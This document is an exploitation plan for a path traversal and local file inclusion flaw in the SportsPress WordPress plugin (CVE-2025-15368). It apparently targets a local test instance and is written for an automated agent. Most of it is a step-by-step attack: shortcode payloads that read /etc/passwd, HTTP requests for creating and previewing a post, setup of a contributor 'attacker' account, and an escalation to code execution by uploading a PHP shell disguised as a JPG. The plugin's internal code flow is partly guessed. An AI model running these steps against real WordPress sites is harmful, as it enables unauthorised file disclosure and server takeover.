Exploitation Research Plan: CVE-2025-15368 (SportsPress LFI)

1. Vulnerability Summary

The SportsPress plugin (<= 2.7.26) for WordPress contains a Local File Inclusion (LFI) vulnerability within its shortcode processing logic. Specifically, the plugin allows users to specify a template_name attribute in several of its shortcodes. This attribute is passed to a template-loading function (likely sp_get_template) which uses it in a PHP include or require statement without sufficient path traversal sanitization. Authenticated users with Contributor permissions or higher can exploit this by creating or editing a post, inserting a malicious shortcode, and triggering its execution by previewing or viewing the post.

2. Attack Vector Analysis

• Endpoint: Post/Page rendering (via wp-admin/post-new.php or wp-admin/post.php).
• Trigger: Rendering a WordPress shortcode.
• Vulnerable Attribute: template_name (inferred from description).
• Authentication: Contributor+ (requires the ability to create or edit posts and use shortcodes).
• Preconditions: The plugin must be active. Exploiting this for Remote Code Execution (RCE) usually requires the ability to upload a file (e.g., via the Media Library) whose path can then be included.

3. Code Flow

1. Entry Point: An authenticated user (Contributor+) saves a post/page containing a SportsPress shortcode, e.g., [sportspress_player_list template_name="../../../../../etc/passwd"].
2. Shortcode Registration: The plugin registers shortcodes in includes/class-sp-shortcodes.php (or similar) using add_shortcode.
3. Callback Execution: When the post is rendered, the callback function for the shortcode is executed.
4. Attribute Processing: The callback extracts the template_name attribute from the $atts array.
5. Sink: The template_name is passed to a template loading function, such as sp_get_template() (often located in includes/sp-core-functions.php).
6. Inclusion: Inside sp_get_template(), the plugin likely constructs a path:

   // Simplified logic
   include( $plugin_path . '/templates/' . $template_name . '.php' );
   

   If $template_name contains path traversal sequences (../../), the attacker can navigate outside the intended templates directory.

4. Nonce Acquisition Strategy

This vulnerability is triggered during shortcode rendering, which occurs when viewing or previewing a post. It does not typically require a specific plugin-level nonce for the LFI itself. However, creating the post requires standard WordPress core nonces.

1. Authentication: Authenticate as a Contributor.
2. Post Creation: The agent will use the standard wp-admin/post-new.php flow.
3. No Specific Plugin Nonce Needed: Since the execution happens via do_shortcode() during page view, there is no AJAX/REST nonce to extract for the LFI trigger.

5. Exploitation Strategy

Goal: Read /etc/passwd (LFI)

1. Log in as a Contributor user.
2. Create a draft post containing a SportsPress shortcode with a path traversal payload in the template_name attribute.
3. Preview the post to trigger the LFI.

HTTP Request Details

Request 1: Create/Update Post

• Method: POST
• URL: http://localhost:8080/wp-admin/post.php (or post-new.php)
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters (standard WP post params):
  • post_title: LFI Test
  • content: [sportspress_player_list template_name="../../../../../../../../../../etc/passwd%00"]
  • action: editpost
  • post_ID: {ID}
  • _wpnonce: {Extract from post-new.php}
    Note: The %00 (null byte) may be needed depending on PHP version/logic, but in modern PHP, the LFI will often just try to include /etc/passwd.php if the plugin appends .php. If the plugin doesn't append an extension, /etc/passwd will work directly.

Request 2: Preview Post

• Method: GET
• URL: http://localhost:8080/?p={ID}&preview=true
• Expected Response: The contents of /etc/passwd rendered within the page content.

6. Test Data Setup

1. User: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

2. Plugin: Ensure sportspress is installed and activated.

   wp plugin activate sportspress
   

7. Expected Results

• When the post preview is loaded, the PHP include statement will resolve the path traversal.
• If the plugin appends .php, the response might show an error (e.g., include(/etc/passwd.php): failed to open stream).
• If the plugin does not append .php or if the attacker can bypass it, the raw contents of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash) will be visible in the HTML source of the preview page.

8. Verification Steps

1. Manual Verification: Check the HTTP response body of the preview page for the string root:x:0:0.
2. WP-CLI Check: Not directly applicable for the "exploit" success, but use WP-CLI to verify the post was created:

   wp post list --post_type=post --status=draft
   

9. Alternative Approaches

If [sportspress_player_list] does not work, attempt other common SportsPress shortcodes that use templates:

• [sportspress_event_list template_name="..."]
• [sportspress_calendar template_name="..."]
• [sportspress_table template_name="..."]
• [sportspress_player_details template_name="..."]

Refining the Payload:

• If the plugin appends .php, use: template_name="../../../../../../../etc/passwd" (Expected error in logs/output: /etc/passwd.php not found)
• To confirm LFI even if /etc/passwd is blocked, try including the WordPress configuration file: template_name="../../../wp-config" (Note: This will not display the code because PHP will execute it, but it may cause a blank section or a database error if included out of context).
• For actual RCE:
  1. Upload a file via Media Library: wp-content/uploads/2025/01/shell.jpg (containing <?php phpinfo(); ?>).
  2. Include it: template_name="../../../uploads/2025/01/shell.jpg".